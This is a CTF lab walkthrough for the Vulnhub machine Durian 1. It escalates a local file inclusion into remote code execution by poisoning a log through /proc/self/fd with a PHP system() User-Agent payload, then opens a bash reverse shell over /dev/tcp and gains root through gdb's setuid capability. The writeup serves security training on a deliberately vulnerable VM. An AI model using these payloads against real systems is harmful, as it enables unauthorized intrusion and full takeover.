Durian 1
Walkthrough of the Durian 1 machine from Vulnhub
In the description indicates that the machine is for VM Workstation 15.x Pro. On Proxox I had problems as it did not expose port 80 and on VirtualBox I had to reset it several times and allocate more resources because it stopped working properly, so I recommend taking a snapshot of the machine before starting.
Getting target machine IP
The first thing we are going to do is try to find out what i the IP of the target machine. To do this we will use nmap
an we indicate that we want to do a ping scan (-sn
) for the entire network we are currently in. If you are not as root
user, it is recommended to use sudo
to obtain additional information of the devices that are in the network:
sudo nmap -sn 10.0.0.1/24
Result (relevant):
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 11:18 CET ... MAC Address: BE:6D:67:8D:E4:46 (Unknown) Nmap scan report for 10.0.0.103 Host is up (0.00082s latency). ...
Nmap tells us that the IP of the target machine is the following:
10.0.0.103
In case it is a virtual machine we can verify this by checking if the MAC addresses of the network cards are the same.
The next thing we are going to do is to add the IP of the target machine to our /etc/hosts
. In this way we will not need to remember the IP and we can use the name we give it. We edit the /etc/hosts
file and add the following line at the end of it:
10.0.0.103 durian1.ctf
Now if we run ping durian1.ctf -c 1
we should get the following response:
PING durian1.ctf (10.0.0.103) 56(84) bytes of data. 64 bytes from durian1.ctf (10.0.0.103): icmp_seq=1 ttl=64 time=10.8 ms --- durian1.ctf ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 10.792/10.792/10.792/0.000 ms
This confirms that it correctly resolves the hostname we have specified.
Port scanning
Once we have the IP of the target machine, what we are going to do is try to detect the opened ports. To do this we will launch another scan with nmap
against the entire port range (-p-
) using the fastest timing template (-T5
), filtering by the open ports (--open
), and disabling DNS resolution (-n
) and host discovery (-Pn
):
nmap -p- -T5 --open -Pn -n durian1.ctf
Result:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 16:03 CET Nmap scan report for durian1.ctf (10.0.0.103) Host is up (0.00069s latency). Not shown: 65530 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 7080/tcp open empowerid 8000/tcp open http-alt 8088/tcp open radan-http Nmap done: 1 IP address (1 host up) scanned in 0.97 seconds
From this scan we get the following ports are open: 22 (SSH), 80 (HTTP), 7080 (EMPOWERID), 8000 (HTTP-ALT), and 8088 (RADAN-HTTP). Knowing that these ports are open, the next thing we are going to do is to try to detect which services are being exposed and their versions (-sCV
):
nmap -p 22,7080,8000,8088 -sCV durian1.ctf
Relevant result (part of the output has been eliminated):
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 16:05 CET Nmap scan report for durian1.ctf (10.0.0.103) Host is up (0.00038s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 281c64fa9cc3d2d4bb763d3b10e2b125 (RSA) | 256 dab2e17f7c1b58cffd4f74e9236d51d7 (ECDSA) |_ 256 41e10c2bd426e8d371bb9df9615663c0 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Durian 7080/tcp open ssl/empowerid LiteSpeed | http-title: LiteSpeed WebAdmin Console |_Requested resource was https://durian1.ctf:7080/login.php | ssl-cert: Subject: commonName=durian/organizationName=LiteSpeedCommunity/stateOrProvinceName=NJ/countryName=US | Not valid before: 2020-09-08T02:05:32 |_Not valid after: 2022-12-07T02:05:32 |_ssl-date: TLS randomness does not represent time |_http-server-header: LiteSpeed | fingerprint-strings: | ... | tls-alpn: | h2 | spdy/3 | spdy/2 |_ http/1.1 8000/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-open-proxy: Proxy might be redirecting requests |_http-title: Durian 8088/tcp open radan-http LiteSpeed |_http-title: Durian |_http-server-header: LiteSpeed | fingerprint-strings: | ... 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== ... ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 110.82 seconds
From the result of the more detailed scan we get the following:
22/tcp
: SSH - OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)80/tcp
: HTTP - Apache httpd 2.4.38 ((Debian))7080/tcp
: SSL/EMPOWERID - LiteSpeed8000/tcp
: HTTP - nginx 1.14.28088/tcp
: RADAN-HTTP - LiteSpeed
Summarizing the scan result:
- SSH: 22
- HTTPS: 7080
- HTTP: 80, 8000 y 8088
Analyzing the HTTP service (80/TCP)
Since we have an HTTP service exposed on port 80, what we are going to do is try to see what is being exposed on that port by accessing the url http://durian1.ctf
in the browser.
When accessing we see that the content of the page is only an image which is not currently available. That resource is in an external URL so we cannot do anything to see what its content was. As in http://durian1.ctf
we do not find anything interesting, we are going to make a brute force attack to discover more paths and files.
To perform this attack we will use Gobuster telling it that we want to list directories (dir
) against the IP of the target machine (-u
), using additional extensions (-x
), using a directory listing oriented dictionary (-w
), and limiting the number of threads to 3 (-t
):
gobuster dir -u http://durian1.ctf -x html,txt,php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 3
Result:
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://durian1.ctf [+] Method: GET [+] Threads: 3 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: html,txt,php [+] Timeout: 10s =============================================================== 2023/03/25 16:22:28 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 765] /blog (Status: 301) [Size: 309] [--> http://durian1.ctf/blog/] /server-status (Status: 403) [Size: 276] /cgi-data (Status: 301) [Size: 313] [--> http://durian1.ctf/cgi-data/] =============================================================== 2023/03/25 16:23:33 Finished ===============================================================
From the scan we obtain that there are 3 more paths that can be interesting:
- /blog: which redirects to /blog/
- /server-status: which we do not have access to it
- /cgi-data: which redirects to /cgi-data/
If we try to access http://durian1.ctf/blog/
we see that it does not return any content. On the other hand, if we access http://durian1.ctf/cgi-data/
we see that we have directory listing capability. In this case we see that we have a PHP script called getImage.php
. If we access the url http://durian1.ctf/cgi-data/getImage.php
and see its content we find the following (in Firefox we can see the content by prefixing the URL with view-source:
):
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> /* </?php include $_GET['file']; */ </body> </html>
In the content of the response we see that it is indicating that the script expects the file
parameter so we are going to try to read some interesting file from the system. For it we put in the browser view-source:http://durian1.ctf/cgi-data/getImage.php?file=/etc/passwd
obtaining the following result (relevant):
root:x:0:0:root:/root:/bin/bash ... durian:x:1000:1000:durian,,,:/home/durian:/bin/bash ... mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
It seems that an LFI (local file inclusion) is happening. From the above request we obtain that there are two users in the system:
root
durian
Ganando acceso a la máquina víctima
Gaining access to the target machine
The next thing we are going to try is to convert the LFI (local file inclusion) we have already discovered into an RCE (remote command execution). A common way to achieve this is by log poisoning. The log poisoning consists of looking for a way to introduce an instruction in PHP in a log that we can interpret by using the LFI with PHP (in this case).
If we try to access the typical files where we can find both authentication and Apache logs, we will see that we do not have access to them. As we don't know where is a log that we can write and read we are going to try to access it through the /proc/self/fd/
descriptors. To do this we are going to create a small Python script that will list all the descriptors until we find the descriptor of the Apache access log or some other log to which we can add content from outside the target machine.
import requests url = "http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/" for i in range(10): r = requests.get(url + str(i)); print(f"{i} - {len(r.text)}");
Execution result:
0 - 241 1 - 241 2 - 241 3 - 241 4 - 241 5 - 241 6 - 7789 7 - 241 8 - 2943 9 - 241
As we can see, there are 2 descriptors that have more content than the others, the 6 and 8 descriptors. If we curl "http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/8"
we can see that we have something similar to the access.log of Apache, in which we can see the path of the request and the user-agent. As we have the ability to write a system log and its interpretation in PHP we can get RCE through the LFI.
To do this, we are going to make a request to the server in which the user-agent is the following:
User-Agent: <?php system($_GET['cmd']); ?>
In this way we can execute the command we want by simply using the cmd
parameter. For example, if we curl "http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/8&cmd=id"
in the results we will see uid=33(www-data) gid=33(www-data) groups=33(www-data)
. This way we confirm that we have remote execution of commands and that the user with which Apache is running is www-data
.
Now that we have Remote Command Execution (RCE) on the target machine, the next thing we can do is try to start a reverse shell to be able to work more comfortably. The first thing we do is to listen in on our machine via Netcat:
nc -nlvp 8888
Receiving the confirmation message that we are listening:
listening on [any] 8888 ...
Then, through the shell that we have generated in the server we execute a command to establish a connection to our Netcat (/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.100/8888 0>&1'
). To do this we do a url encode of the command and pass it through the cmd
parameter of the url http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/8&cmd=/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.100/8888%200%3E%261%27
obtaining the following result:
connect to [10.0.0.100] from (UNKNOWN) [10.0.0.103] 49542 bash: cannot set terminal process group (470): Inappropriate ioctl for device bash: no job control in this shell www-data@durian:/var/www/html/cgi-data$
Now, in order to have a fully interactive shell, we launch a pseudo console with script /dev/null -c bash
, press Ctrl + z
and do a tty treatment with stty raw -echo; fg
. We type reset
to restart the terminal configuration, specify xterm
as terminal type and export 2 environment variables:
export TERM=xterm
export SHELL=bash
With this we should be able to do Ctrl + c
to end the execution of a command, or Ctrl + l
to clear the terminal. We can also go back in the command history.
Pivotando al usuario root
If we list user binary capabilities with getcap -r / 2>/dev/null
we get the following result:
/usr/bin/gdb = cap_setuid+ep /usr/bin/ping = cap_net_raw+ep
If we look in GTFOBins for the binaries for which we have capabilities we get to the next page about GDB. If you go down to the last section, the Capabilities section it tells you that you can get a privileged shell using the following command:
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
In our case, we have to adjust the gdb
path by letting it resolve through the PATH, and changing the sh
to a bash
:
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit
Result:
GNU gdb (Debian 8.2.1-2+b3) 8.2.1 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word". root@durian:/# id uid=0(root) gid=33(www-data) groups=33(www-data)
With this we would already have access as root
to the target machine.
If we list the contents of the home directory of the root user
/root
we find the flag (proof.txt
):SunCSR_Team.af6d45da1f1181347b9e2139f23c6a5b
.